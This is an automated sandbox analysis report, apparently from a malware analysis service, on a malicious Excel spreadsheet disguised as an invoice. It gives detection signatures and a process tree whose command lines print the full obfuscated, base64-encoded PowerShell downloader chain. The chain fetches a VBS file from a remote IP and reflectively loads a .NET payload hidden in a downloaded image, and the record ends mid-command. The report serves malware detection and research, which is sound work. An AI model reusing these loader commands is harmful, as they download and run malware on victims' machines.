Edit tour
Windows
Analysis Report
Invoice A037.xls
Overview
General Information
| Sample name: | Invoice A037.xls |
| Analysis ID: | 1572970 |
| MD5: | 78c7227d02510326cd88eb38003b252e |
| SHA1: | 742a16e734f3e3ede2f8acdbc89aef3962c4f338 |
| SHA256: | 41cf481a165a9e4c70bcd9170b283912783b18e5b8af8a21e76cb0f175d167c9 |
| Tags: | xlsuser-abuse_ch |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected VBS Downloader Generic
Yara detected obfuscated html page
Connects to a pastebin service (likely for C&C)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3220 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3516 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
cmd.exe (PID: 3664 cmdline: "C:\Window s\system32 \cmd.exe" "/C Powers HELl.eXE -EX ByPaS s -n op - W 1 -c deviC EcREdENTia LDepLOYMen t.eXE ; InVOkE-Exp RESsIOn($( InVoKE-EXp reSSiOn('[ SysTEM.tEX t.ENcOdIng ]'+[chaR]5 8+[ChAr]58 +'uTf8.GET sTrInG([sy sTEm.cOnVE Rt]'+[cHar ]58+[char] 0X3a+'FRoM BAse64StRi nG('+[chAR ]0x22+'JDZ MOGwgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgP SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBBRGQ tdFlQZSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtbWVtYkV SRGVGSW5pd GlPbiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA nW0RsbEltc G9ydCgidXJ sTU9uLmRsb CIsICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEN oYXJTZXQgP SBDaGFyU2V 0LlVuaWNvZ GUpXXB1Ymx pYyBzdGF0a WMgZXh0ZXJ uIEludFB0c iBVUkxEb3d ubG9hZFRvR mlsZShJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgT 3NoV2Vtdix zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgVWVreVN wR3BtSixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gQ2JkU3pCT 3AsdWludCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBsWmZpS 2tRbmFKcix JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgWFRmY2p mKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1OYW1lICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICJYb0UiI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1uYW1 lU3BhQ2UgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgdUxxaHl mQUsgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL VBhc3NUaHJ 1OyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAkN kw4bDo6VVJ MRG93bmxvY WRUb0ZpbGU oMCwiaHR0c DovLzIzLjk 1LjIzNS4yO S84MDgvdmV yeW5pY2Vjc mVhbXljaGl ja2VuZnZvd XJhdGVkaXN oZXNmb3Jld mVyeW9uZXd ob2lub25sa W5ld2l0aC5 0SUYiLCIkR U52OkFQUER BVEFcdmVye W5pY2VjcmV hbXljaGlja 2VuZnZvdXJ hdGVkaXNoZ XNmb3JldmV yeW9uZXdob y52YlMiLDA sMCk7U1RhU lQtU0xlZXA oMyk7aU52b 2tlLWV4cHJ Fc1Npb24gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIiRlbnY 6QVBQREFUQ Vx2ZXJ5bml jZWNyZWFte WNoaWNrZW5 mdm91cmF0Z WRpc2hlc2Z vcmV2ZXJ5b 25ld2hvLnZ iUyI='+[CH aR]34+'))' )))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) 
powershell.exe (PID: 3688 cmdline: PowersHELl .eXE -EX ByPaSs -nop -W 1 -c deviCEcR EdENTiaLDe pLOYMent.e XE ; InV OkE-ExpRES sIOn($(InV oKE-EXpreS SiOn('[Sys TEM.tEXt.E NcOdIng]'+ [chaR]58+[ ChAr]58+'u Tf8.GETsTr InG([sysTE m.cOnVERt] '+[cHar]58 +[char]0X3 a+'FRoMBAs e64StRinG( '+[chAR]0x 22+'JDZMOG wgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgPSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBBRGQtdF lQZSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt bWVtYkVSRG VGSW5pdGlP biAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAnW0 RsbEltcG9y dCgidXJsTU 9uLmRsbCIs ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIENoYX JTZXQgPSBD aGFyU2V0Ll VuaWNvZGUp XXB1YmxpYy BzdGF0aWMg ZXh0ZXJuIE ludFB0ciBV UkxEb3dubG 9hZFRvRmls ZShJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgT3No V2VtdixzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg VWVreVNwR3 BtSixzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgQ2 JkU3pCT3As dWludCAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BsWmZpS2tR bmFKcixJbn RQdHIgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg WFRmY2pmKT snICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1O YW1lICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC JYb0UiICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1uYW1lU3 BhQ2UgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg dUxxaHlmQU sgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLVBh c3NUaHJ1Oy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAkNkw4 bDo6VVJMRG 93bmxvYWRU b0ZpbGUoMC wiaHR0cDov LzIzLjk1Lj IzNS4yOS84 MDgvdmVyeW 5pY2VjcmVh bXljaGlja2 VuZnZvdXJh dGVkaXNoZX Nmb3JldmVy eW9uZXdob2 lub25saW5l d2l0aC50SU YiLCIkRU52 OkFQUERBVE FcdmVyeW5p Y2VjcmVhbX ljaGlja2Vu ZnZvdXJhdG VkaXNoZXNm b3JldmVyeW 9uZXdoby52 YlMiLDAsMC k7U1RhUlQt U0xlZXAoMy k7aU52b2tl LWV4cHJFc1 Npb24gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IiRlbnY6QV BQREFUQVx2 ZXJ5bmljZW NyZWFteWNo aWNrZW5mdm 91cmF0ZWRp c2hlc2Zvcm V2ZXJ5b25l d2hvLnZiUy I='+[CHaR] 34+'))'))) " MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3928 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\oojbmf em\oojbmfe m.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3936 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESD3B4.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\ooj bmfem\CSCF 5327E7FE34 1DA9559637 718172BC.T MP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 4028 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\veryn icecreamyc hickenfvou ratedishes foreveryon ewho.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2580 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $midroll = 'aWYgKCRu dWxsIC1uZS AkUFNWZXJz aW9uVGFibG UgLWFuZCAk UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIC1uZSAk bnVsbCkgey Bbdm9pZF0k UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIH0gZWxz ZSB7IFdyaX RlLU91dHB1 dCAnUG93ZX JTaGVsbCB2 ZXJzaW9uIE 5vdCBhdmFp bGFibGUnIH 07aWYgKCRu dWxsIC1uZS AkUFNWZXJz aW9uVGFibG UgLWFuZCAk UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIC1uZSAk bnVsbCkgey Bbdm9pZF0k UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIH0gZWxz ZSB7IFdyaX RlLU91dHB1 dCAnUG93ZX JTaGVsbCB2 ZXJzaW9uIE 5vdCBhdmFp bGFibGUnIH 07JHRlcnJp ZnlpbmduZX NzID0gJ2h0 dHBzOi8vcm VzLmNsb3Vk aW5hcnkuY2 9tL2R5dGZs dDYxbi9pbW FnZS91cGxv YWQvdjE3Mz MxMzQ5NDcv YmtscHlzZX lldXQ0aW1w dzUwbjEuan BnICc7JGRv bG91cnMgPS BOZXctT2Jq ZWN0IFN5c3 RlbS5OZXQu V2ViQ2xpZW 50OyRtZWNv cHRlcmFucy A9ICRkb2xv dXJzLkRvd2 5sb2FkRGF0 YSgkdGVycm lmeWluZ25l c3MpOyRub3 NleSA9IFtT eXN0ZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKC RtZWNvcHRl cmFucyk7JG 1pY3JvZmlj aGUgPSAnPD xCQVNFNjRf U1RBUlQ+Pi c7JHNlbGVj dGl2ZWx5ID 0gJzw8QkFT RTY0X0VORD 4+JzskaXNv ZXVnZW5vbC A9ICRub3Nl eS5JbmRleE 9mKCRtaWNy b2ZpY2hlKT skd3JlYWtz ID0gJG5vc2 V5LkluZGV4 T2YoJHNlbG VjdGl2ZWx5 KTskaXNvZX VnZW5vbCAt Z2UgMCAtYW 5kICR3cmVh a3MgLWd0IC Rpc29ldWdl bm9sOyRpc2 9ldWdlbm9s ICs9ICRtaW Nyb2ZpY2hl Lkxlbmd0aD skcG9zdGVy aXNlZCA9IC R3cmVha3Mg LSAkaXNvZX VnZW5vbDsk ZW52aWUgPS Akbm9zZXku U3Vic3RyaW 5nKCRpc29l dWdlbm9sLC AkcG9zdGVy aXNlZCk7JG hlcm1zID0g LWpvaW4gKC RlbnZpZS5U b0NoYXJBcn JheSgpIHwg Rm9yRWFjaC 1PYmplY3Qg eyAkXyB9KV stMS4uLSgk ZW52aWUuTG VuZ3RoKV07 JGFtYmlnZW 5hbCA9IFtT eXN0ZW0uQ2 9udmVydF06 OkZyb21CYX NlNjRTdHJp bmcoJGhlcm 1zKTskc3Rl cmlsaXR5ID 0gW1N5c3Rl bS5SZWZsZW N0aW9uLkFz c2VtYmx5XT o6TG9hZCgk YW1iaWdlbm FsKTskdm9l dGdhbmdlci A9IFtkbmxp Yi5JTy5Ib2 1lXS5HZXRN ZXRob2QoJ1 ZBSScpOyR2 b2V0Z2FuZ2 VyLkludm9r ZSgkbnVsbC wgQCgnMC9r ZTQ0MC9yL2 VlLmV0c2Fw Ly86c3B0dG gnLCAnYWRk b29tJywgJ2 FkZG9vbScs ICdhZGRvb2 0nLCAnQWRk SW5Qcm9jZX NzMzInLCAn YWRkb29tJy wgJ2FkZG9v bScsJ2FkZG 9vbScsJ2Fk ZG9vbScsJ2 FkZG9vbScs J2FkZG9vbS csJ2FkZG9v bScsJzEnLC dhZGRvb20n KSk7aWYgKC RudWxsIC1u ZSAkUFNWZX JzaW9uVGFi bGUgLWFuZC AkUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIC1uZS AkbnVsbCkg eyBbdm9pZF 0kUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIH0gZW xzZSB7IFdy aXRlLU91dH B1dCAnUG93 ZXJTaGVsbC B2ZXJzaW9u IE5vdCBhdm FpbGFibGUn IH07aWYgKC RudWxsIC1u ZSAkUFNWZX JzaW9uVGFi bGUgLWFuZC AkUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIC1uZS AkbnVsbCkg eyBbdm9pZF 0kUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIH0gZW xzZSB7IFdy aXRlLU91dH B1dCAnUG93 ZXJTaGVsbC B2ZXJzaW9u IE5vdCBhdm FpbGFibGUn IH07';$Ang el = [Syst em.Text.En coding]::U TF8.GetStr ing([Syste m.Convert] ::FromBase 64String($ midroll)); Invoke-Exp ression $A